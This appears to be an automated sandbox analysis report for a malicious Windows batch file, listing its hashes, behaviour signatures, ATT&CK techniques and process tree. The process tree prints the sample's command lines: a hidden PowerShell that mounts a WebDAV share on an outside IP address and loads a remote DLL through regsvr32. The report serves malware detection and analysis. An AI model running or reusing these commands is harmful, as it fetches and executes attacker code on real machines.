98b0825d522e3cb05d4b8b2831a454f6dec004403b7404bdb5ce41e01228613e

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
18/07/2024, 23:49

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General

Target

194985772429731210.bat
Size

24KB
MD5

207b43d67da8dad40adca355fe031072
SHA1

495af044d5ed62610b7cb6a5bfe9a74da16fb79b
SHA256

98b0825d522e3cb05d4b8b2831a454f6dec004403b7404bdb5ce41e01228613e
SHA512

bd6ae3bc59021c28cd93832386ee93be60184b1317e32af5a21b144f590f9df0b7713d72dbeb40df9e9dc744acf77da0f2b6d3d689ceff34acd188017b6ce310
SSDEEP

768:lXcxZy6zFMm3q8ZoYeuHC5IIyGWRaMLAxYgt:ytMe9C6A6gt

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2504	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2696	wordpad.exe
2696	wordpad.exe
2696	wordpad.exe
2696	wordpad.exe
2696	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 2696	1596	cmd.exe	31
PID 1596 wrote to memory of 2696	1596	cmd.exe	31
PID 1596 wrote to memory of 2696	1596	cmd.exe	31
PID 1596 wrote to memory of 2504	1596	cmd.exe	32
PID 1596 wrote to memory of 2504	1596	cmd.exe	32
PID 1596 wrote to memory of 2504	1596	cmd.exe	32
PID 2504 wrote to memory of 2600	2504	powershell.exe	34
PID 2504 wrote to memory of 2600	2504	powershell.exe	34
PID 2504 wrote to memory of 2600	2504	powershell.exe	34
PID 2504 wrote to memory of 2720	2504	powershell.exe	35
PID 2504 wrote to memory of 2720	2504	powershell.exe	35
PID 2504 wrote to memory of 2720	2504	powershell.exe	35
PID 2504 wrote to memory of 2720	2504	powershell.exe	35
PID 2504 wrote to memory of 2720	2504	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\194985772429731210.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\13645117401268.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2600
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\13645117401268.dll
    3⤵
    PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2504-23-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2504-24-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download